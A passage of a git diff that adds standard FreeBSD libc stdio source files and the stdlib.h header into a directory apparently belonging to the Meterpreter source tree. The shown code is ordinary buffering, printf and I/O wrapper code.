* Avoid locking this list while walking it or else you will
|
||||
* introduce a potential deadlock in [at least] refill.c.
|
||||
*/
|
||||
for (g = &__sglue; g != NULL; g = g->next)
|
||||
for (fp = g->iobs, n = g->niobs; --n >= 0; fp++)
|
||||
if ((fp->_flags != 0) && ((fp->_flags & __SIGN) == 0))
|
||||
ret |= (*function)(fp);
|
||||
return (ret);
|
||||
}
|
121
c/meterpreter/source/ulibc/stdio/makebuf.c
Normal file
121
c/meterpreter/source/ulibc/stdio/makebuf.c
Normal file
@ -0,0 +1,121 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)makebuf.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/stdio/makebuf.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "un-namespace.h"
|
||||
|
||||
#include "libc_private.h"
|
||||
#include "local.h"
|
||||
|
||||
/*
|
||||
* Allocate a file buffer, or switch to unbuffered I/O.
|
||||
* Per the ANSI C standard, ALL tty devices default to line buffered.
|
||||
*
|
||||
* As a side effect, we set __SOPT or __SNPT (en/dis-able fseek
|
||||
* optimisation) right after the _fstat() that finds the buffer size.
|
||||
*/
|
||||
#define _fstat fstat
|
||||
void
|
||||
__smakebuf(fp)
|
||||
FILE *fp;
|
||||
{
|
||||
void *p;
|
||||
int flags;
|
||||
size_t size;
|
||||
int couldbetty;
|
||||
|
||||
if (fp->_flags & __SNBF) {
|
||||
fp->_bf._base = fp->_p = fp->_nbuf;
|
||||
fp->_bf._size = 1;
|
||||
return;
|
||||
}
|
||||
flags = __swhatbuf(fp, &size, &couldbetty);
|
||||
if ((p = malloc(size)) == NULL) {
|
||||
fp->_flags |= __SNBF;
|
||||
fp->_bf._base = fp->_p = fp->_nbuf;
|
||||
fp->_bf._size = 1;
|
||||
return;
|
||||
}
|
||||
__cleanup = _cleanup;
|
||||
flags |= __SMBF;
|
||||
fp->_bf._base = fp->_p = p;
|
||||
fp->_bf._size = size;
|
||||
if (couldbetty && isatty(fp->_file))
|
||||
flags |= __SLBF;
|
||||
fp->_flags |= flags;
|
||||
}
|
||||
|
||||
/*
|
||||
* Internal routine to determine `proper' buffering for a file.
|
||||
*/
|
||||
int
|
||||
__swhatbuf(fp, bufsize, couldbetty)
|
||||
FILE *fp;
|
||||
size_t *bufsize;
|
||||
int *couldbetty;
|
||||
{
|
||||
struct stat st;
|
||||
|
||||
if (fp->_file < 0 || _fstat(fp->_file, &st) < 0) {
|
||||
*couldbetty = 0;
|
||||
*bufsize = BUFSIZ;
|
||||
return (__SNPT);
|
||||
}
|
||||
|
||||
/* could be a tty iff it is a character device */
|
||||
*couldbetty = (st.st_mode & S_IFMT) == S_IFCHR;
|
||||
if (st.st_blksize <= 0) {
|
||||
*bufsize = BUFSIZ;
|
||||
return (__SNPT);
|
||||
}
|
||||
|
||||
/*
|
||||
* Optimise fseek() only if it is a regular file. (The test for
|
||||
* __sseek is mainly paranoia.) It is safe to set _blksize
|
||||
* unconditionally; it will only be used if __SOPT is also set.
|
||||
*/
|
||||
*bufsize = st.st_blksize;
|
||||
fp->_blksize = st.st_blksize;
|
||||
return ((st.st_mode & S_IFMT) == S_IFREG && fp->_seek == __sseek ?
|
||||
__SOPT : __SNPT);
|
||||
}
|
52
c/meterpreter/source/ulibc/stdio/printf.c
Normal file
52
c/meterpreter/source/ulibc/stdio/printf.c
Normal file
@ -0,0 +1,52 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)printf.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/printf.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int
|
||||
printf(char const * __restrict fmt, ...)
|
||||
{
|
||||
int ret;
|
||||
va_list ap;
|
||||
|
||||
va_start(ap, fmt);
|
||||
ret = vfprintf(stdout, fmt, ap);
|
||||
va_end(ap);
|
||||
return (ret);
|
||||
}
|
187
c/meterpreter/source/ulibc/stdio/stdio.c
Normal file
187
c/meterpreter/source/ulibc/stdio/stdio.c
Normal file
@ -0,0 +1,187 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)stdio.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/stdio.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include "un-namespace.h"
|
||||
#include "local.h"
|
||||
|
||||
/*
|
||||
* Small standard I/O/seek/close functions.
|
||||
*/
|
||||
int
|
||||
__sread(cookie, buf, n)
|
||||
void *cookie;
|
||||
char *buf;
|
||||
int n;
|
||||
{
|
||||
FILE *fp = cookie;
|
||||
|
||||
return(_read(fp->_file, buf, (size_t)n));
|
||||
}
|
||||
|
||||
int
|
||||
__swrite(cookie, buf, n)
|
||||
void *cookie;
|
||||
char const *buf;
|
||||
int n;
|
||||
{
|
||||
FILE *fp = cookie;
|
||||
|
||||
return (_write(fp->_file, buf, (size_t)n));
|
||||
}
|
||||
|
||||
fpos_t
|
||||
__sseek(cookie, offset, whence)
|
||||
void *cookie;
|
||||
fpos_t offset;
|
||||
int whence;
|
||||
{
|
||||
FILE *fp = cookie;
|
||||
|
||||
return (lseek(fp->_file, (off_t)offset, whence));
|
||||
}
|
||||
|
||||
int
|
||||
__sclose(cookie)
|
||||
void *cookie;
|
||||
{
|
||||
|
||||
return (_close(((FILE *)cookie)->_file));
|
||||
}
|
||||
|
||||
/*
|
||||
* Higher level wrappers.
|
||||
*/
|
||||
int
|
||||
_sread(fp, buf, n)
|
||||
FILE *fp;
|
||||
char *buf;
|
||||
int n;
|
||||
{
|
||||
int ret;
|
||||
|
||||
ret = (*fp->_read)(fp->_cookie, buf, n);
|
||||
if (ret > 0) {
|
||||
if (fp->_flags & __SOFF) {
|
||||
if (fp->_offset <= OFF_MAX - ret)
|
||||
fp->_offset += ret;
|
||||
else
|
||||
fp->_flags &= ~__SOFF;
|
||||
}
|
||||
} else if (ret < 0)
|
||||
fp->_flags &= ~__SOFF;
|
||||
return (ret);
|
||||
}
|
||||
|
||||
int
|
||||
_swrite(fp, buf, n)
|
||||
FILE *fp;
|
||||
char const *buf;
|
||||
int n;
|
||||
{
|
||||
int ret;
|
||||
int serrno;
|
||||
|
||||
if (fp->_flags & __SAPP) {
|
||||
serrno = errno;
|
||||
if (_sseek(fp, (fpos_t)0, SEEK_END) == -1 &&
|
||||
(fp->_flags & __SOPT))
|
||||
return (-1);
|
||||
errno = serrno;
|
||||
}
|
||||
ret = (*fp->_write)(fp->_cookie, buf, n);
|
||||
/* __SOFF removed even on success in case O_APPEND mode is set. */
|
||||
if (ret >= 0) {
|
||||
if ((fp->_flags & (__SAPP|__SOFF)) == (__SAPP|__SOFF) &&
|
||||
fp->_offset <= OFF_MAX - ret)
|
||||
fp->_offset += ret;
|
||||
else
|
||||
fp->_flags &= ~__SOFF;
|
||||
|
||||
} else if (ret < 0)
|
||||
fp->_flags &= ~__SOFF;
|
||||
return (ret);
|
||||
}
|
||||
|
||||
fpos_t
|
||||
_sseek(fp, offset, whence)
|
||||
FILE *fp;
|
||||
fpos_t offset;
|
||||
int whence;
|
||||
{
|
||||
fpos_t ret;
|
||||
int serrno, errret;
|
||||
|
||||
serrno = errno;
|
||||
errno = 0;
|
||||
ret = (*fp->_seek)(fp->_cookie, offset, whence);
|
||||
errret = errno;
|
||||
if (errno == 0)
|
||||
errno = serrno;
|
||||
/*
|
||||
* Disallow negative seeks per POSIX.
|
||||
* It is needed here to help upper level caller
|
||||
* in the cases it can't detect.
|
||||
*/
|
||||
if (ret < 0) {
|
||||
if (errret == 0) {
|
||||
if (offset != 0 || whence != SEEK_CUR) {
|
||||
if (HASUB(fp))
|
||||
FREEUB(fp);
|
||||
fp->_p = fp->_bf._base;
|
||||
fp->_r = 0;
|
||||
fp->_flags &= ~__SEOF;
|
||||
}
|
||||
fp->_flags |= __SERR;
|
||||
errno = EINVAL;
|
||||
} else if (errret == ESPIPE)
|
||||
fp->_flags &= ~__SAPP;
|
||||
fp->_flags &= ~__SOFF;
|
||||
ret = -1;
|
||||
} else if (fp->_flags & __SOPT) {
|
||||
fp->_flags |= __SOFF;
|
||||
fp->_offset = ret;
|
||||
}
|
||||
return (ret);
|
||||
}
|
1022
c/meterpreter/source/ulibc/stdio/vfprintf.c
Normal file
1022
c/meterpreter/source/ulibc/stdio/vfprintf.c
Normal file
File diff suppressed because it is too large
Load Diff
93
c/meterpreter/source/ulibc/stdio/wsetup.c
Normal file
93
c/meterpreter/source/ulibc/stdio/wsetup.c
Normal file
@ -0,0 +1,93 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)wsetup.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/stdio/wsetup.c 186887 2009-01-08 06:38:06Z das $");
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "local.h"
|
||||
|
||||
/*
|
||||
* Various output routines call wsetup to be sure it is safe to write,
|
||||
* because either _flags does not include __SWR, or _buf is NULL.
|
||||
* _wsetup returns 0 if OK to write; otherwise, it returns EOF and sets errno.
|
||||
*/
|
||||
int
|
||||
__swsetup(fp)
|
||||
FILE *fp;
|
||||
{
|
||||
/* make sure stdio is set up */
|
||||
if (!__sdidinit)
|
||||
__sinit();
|
||||
|
||||
/*
|
||||
* If we are not writing, we had better be reading and writing.
|
||||
*/
|
||||
if ((fp->_flags & __SWR) == 0) {
|
||||
if ((fp->_flags & __SRW) == 0) {
|
||||
errno = EBADF;
|
||||
fp->_flags |= __SERR;
|
||||
return (EOF);
|
||||
}
|
||||
if (fp->_flags & __SRD) {
|
||||
/* clobber any ungetc data */
|
||||
if (HASUB(fp))
|
||||
FREEUB(fp);
|
||||
fp->_flags &= ~(__SRD|__SEOF);
|
||||
fp->_r = 0;
|
||||
fp->_p = fp->_bf._base;
|
||||
}
|
||||
fp->_flags |= __SWR;
|
||||
}
|
||||
|
||||
/*
|
||||
* Make a buffer if necessary, then set _w.
|
||||
*/
|
||||
if (fp->_bf._base == NULL)
|
||||
__smakebuf(fp);
|
||||
if (fp->_flags & __SLBF) {
|
||||
/*
|
||||
* It is line buffered, so make _lbfsize be -_bufsize
|
||||
* for the putc() macro. We will change _lbfsize back
|
||||
* to 0 whenever we turn off __SWR.
|
||||
*/
|
||||
fp->_w = 0;
|
||||
fp->_lbfsize = -fp->_bf._size;
|
||||
} else
|
||||
fp->_w = fp->_flags & __SNBF ? 0 : fp->_bf._size;
|
||||
return (0);
|
||||
}
|
299
c/meterpreter/source/ulibc/stdlib.h
Normal file
299
c/meterpreter/source/ulibc/stdlib.h
Normal file
@ -0,0 +1,299 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)stdlib.h 8.5 (Berkeley) 5/19/95
|
||||
* $FreeBSD: head/include/stdlib.h 189820 2009-03-14 19:13:30Z das $
|
||||
*/
|
||||
|
||||
#ifndef _STDLIB_H_
|
||||
#define _STDLIB_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_null.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#ifndef _RUNE_T_DECLARED
|
||||
typedef __rune_t rune_t;
|
||||
#define _RUNE_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef _SIZE_T_DECLARED
|
||||
typedef __size_t size_t;
|
||||
#define _SIZE_T_DECLARED
|
||||
#endif
|
||||
|
||||
#ifndef __cplusplus
|
||||
#ifndef _WCHAR_T_DECLARED
|
||||
typedef __wchar_t wchar_t;
|
||||
#define _WCHAR_T_DECLARED
|
||||
#endif
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
int quot; /* quotient */
|
||||
int rem; /* remainder */
|
||||
} div_t;
|
||||
|
||||
typedef struct {
|
||||
long quot;
|
||||
long rem;
|
||||
} ldiv_t;
|
||||
|
||||
#define EXIT_FAILURE 1
|
||||
#define EXIT_SUCCESS 0
|
||||
|
||||
#define RAND_MAX 0x7fffffff
|
||||
|
||||
extern int __mb_cur_max;
|
||||
#define MB_CUR_MAX __mb_cur_max
|
||||
|
||||
__BEGIN_DECLS
|
||||
void abort(void) __dead2;
|
||||
int abs(int) __pure2;
|
||||
int atexit(void (*)(void));
|
||||
double atof(const char *);
|
||||
int atoi(const char *);
|
||||
long atol(const char *);
|
||||
void *bsearch(const void *, const void *, size_t,
|
||||
size_t, int (*)(const void *, const void *));
|
||||
void *calloc(size_t, size_t) __malloc_like;
|
||||
div_t div(int, int) __pure2;
|
||||
void exit(int) __dead2;
|
||||
void free(void *);
|
||||
char *getenv(const char *);
|
||||
long labs(long) __pure2;
|
||||
ldiv_t ldiv(long, long) __pure2;
|
||||
void *malloc(size_t) __malloc_like;
|
||||
int mblen(const char *, size_t);
|
||||
size_t mbstowcs(wchar_t * __restrict , const char * __restrict, size_t);
|
||||
int mbtowc(wchar_t * __restrict, const char * __restrict, size_t);
|
||||
void qsort(void *, size_t, size_t,
|
||||
int (*)(const void *, const void *));
|
||||
int rand(void);
|
||||
void *realloc(void *, size_t);
|
||||
void srand(unsigned);
|
||||
double strtod(const char * __restrict, char ** __restrict);
|
||||
float strtof(const char * __restrict, char ** __restrict);
|
||||
long strtol(const char * __restrict, char ** __restrict, int);
|
||||
long double
|
||||
strtold(const char * __restrict, char ** __restrict);
|
||||
unsigned long
|
||||
strtoul(const char * __restrict, char ** __restrict, int);
|
||||
int system(const char *);
|
||||
int wctomb(char *, wchar_t);
|
||||
size_t wcstombs(char * __restrict, const wchar_t * __restrict, size_t);
|
||||
|
||||
/*
|
||||
* Functions added in C99 which we make conditionally available in the
|
||||
* BSD^C89 namespace if the compiler supports `long long'.
|
||||
* The #if test is more complicated than it ought to be because
|
||||
* __BSD_VISIBLE implies __ISO_C_VISIBLE == 1999 *even if* `long long'
|
||||
* is not supported in the compilation environment (which therefore means
|
||||
* that it can't really be ISO C99).
|
||||
*
|
||||
* (The only other extension made by C99 in thie header is _Exit().)
|
||||
*/
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#ifdef __LONG_LONG_SUPPORTED
|
||||
/* LONGLONG */
|
||||
typedef struct {
|
||||
long long quot;
|
||||
long long rem;
|
||||
} lldiv_t;
|
||||
|
||||
/* LONGLONG */
|
||||
long long
|
||||
atoll(const char *);
|
||||
/* LONGLONG */
|
||||
long long
|
||||
llabs(long long) __pure2;
|
||||
/* LONGLONG */
|
||||
lldiv_t lldiv(long long, long long) __pure2;
|
||||
/* LONGLONG */
|
||||
long long
|
||||
strtoll(const char * __restrict, char ** __restrict, int);
|
||||
/* LONGLONG */
|
||||
unsigned long long
|
||||
strtoull(const char * __restrict, char ** __restrict, int);
|
||||
#endif /* __LONG_LONG_SUPPORTED */
|
||||
|
||||
void _Exit(int) __dead2;
|
||||
#endif /* __ISO_C_VISIBLE >= 1999 */
|
||||
|
||||
/*
|
||||
* Extensions made by POSIX relative to C. We don't know yet which edition
|
||||
* of POSIX made these extensions, so assume they've always been there until
|
||||
* research can be done.
|
||||
*/
|
||||
#if __POSIX_VISIBLE /* >= ??? */
|
||||
int posix_memalign(void **, size_t, size_t); /* (ADV) */
|
||||
int rand_r(unsigned *); /* (TSF) */
|
||||
int setenv(const char *, const char *, int);
|
||||
int unsetenv(const char *);
|
||||
#endif
|
||||
|
||||
#if __POSIX_VISIBLE >= 200809 || __XSI_VISIBLE
|
||||
int getsubopt(char **, char *const *, char **);
|
||||
#ifndef _MKDTEMP_DECLARED
|
||||
char *mkdtemp(char *);
|
||||
#define _MKDTEMP_DECLARED
|
||||
#endif
|
||||
#ifndef _MKSTEMP_DECLARED
|
||||
int mkstemp(char *);
|
||||
#define _MKSTEMP_DECLARED
|
||||
#endif
|
||||
#endif /* __POSIX_VISIBLE >= 200809 || __XSI_VISIBLE */
|
||||
|
||||
/*
|
||||
* The only changes to the XSI namespace in revision 6 were the deletion
|
||||
* of the ttyslot() and valloc() functions, which FreeBSD never declared
|
||||
* in this header. For revision 7, ecvt(), fcvt(), and gcvt(), which
|
||||
* FreeBSD also does not have, and mktemp(), are to be deleted.
|
||||
*/
|
||||
#if __XSI_VISIBLE
|
||||
/* XXX XSI requires pollution from <sys/wait.h> here. We'd rather not. */
|
||||
long a64l(const char *);
|
||||
double drand48(void);
|
||||
/* char *ecvt(double, int, int * __restrict, int * __restrict); */
|
||||
double erand48(unsigned short[3]);
|
||||
/* char *fcvt(double, int, int * __restrict, int * __restrict); */
|
||||
/* char *gcvt(double, int, int * __restrict, int * __restrict); */
|
||||
int grantpt(int);
|
||||
char *initstate(unsigned long /* XSI requires u_int */, char *, long);
|
||||
long jrand48(unsigned short[3]);
|
||||
char *l64a(long);
|
||||
void lcong48(unsigned short[7]);
|
||||
long lrand48(void);
|
||||
#if !defined(_MKTEMP_DECLARED) && (__BSD_VISIBLE || __XSI_VISIBLE <= 600)
|
||||
char *mktemp(char *);
|
||||
#define _MKTEMP_DECLARED
|
||||
#endif
|
||||
long mrand48(void);
|
||||
long nrand48(unsigned short[3]);
|
||||
int posix_openpt(int);
|
||||
char *ptsname(int);
|
||||
int putenv(char *);
|
||||
long random(void);
|
||||
char *realpath(const char *, char resolved_path[]);
|
||||
unsigned short
|
||||
*seed48(unsigned short[3]);
|
||||
#ifndef _SETKEY_DECLARED
|
||||
int setkey(const char *);
|
||||
#define _SETKEY_DECLARED
|
||||
#endif
|
||||
char *setstate(/* const */ char *);
|
||||
void srand48(long);
|
||||
void srandom(unsigned long);
|
||||
int unlockpt(int);
|
||||
#endif /* __XSI_VISIBLE */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
extern const char *_malloc_options;
|
||||
extern void (*_malloc_message)(const char *, const char *, const char *,
|
||||
const char *);
|
||||
|
||||
/*
|
||||
* The alloca() function can't be implemented in C, and on some
|
||||
* platforms it can't be implemented at all as a callable function.
|
||||
* The GNU C compiler provides a built-in alloca() which we can use;
|
||||
* in all other cases, provide a prototype, mainly to pacify various
|
||||
* incarnations of lint. On platforms where alloca() is not in libc,
|
||||
* programs which use it will fail to link when compiled with non-GNU
|
||||
* compilers.
|
||||
*/
|
||||
#if __GNUC__ >= 2 || defined(__INTEL_COMPILER)
|
||||
#undef alloca /* some GNU bits try to get cute and define this on their own */
|
||||
#define alloca(sz) __builtin_alloca(sz)
|
||||
#elif defined(lint)
|
||||
void *alloca(size_t);
|
||||
#endif
|
||||
|
||||
void abort2(const char *, int, void **) __dead2;
|
||||
__uint32_t
|
||||
arc4random(void);
|
||||
void arc4random_addrandom(unsigned char *, int);
|
||||
void arc4random_buf(void *, size_t);
|
||||
void arc4random_stir(void);
|
||||
__uint32_t
|
||||
arc4random_uniform(__uint32_t);
|
||||
char *getbsize(int *, long *);
|
||||
/* getcap(3) functions */
|
||||
char *cgetcap(char *, const char *, int);
|
||||
int cgetclose(void);
|
||||
int cgetent(char **, char **, const char *);
|
||||
int cgetfirst(char **, char **);
|
||||
int cgetmatch(const char *, const char *);
|
||||
int cgetnext(char **, char **);
|
||||
int cgetnum(char *, const char *, long *);
|
||||
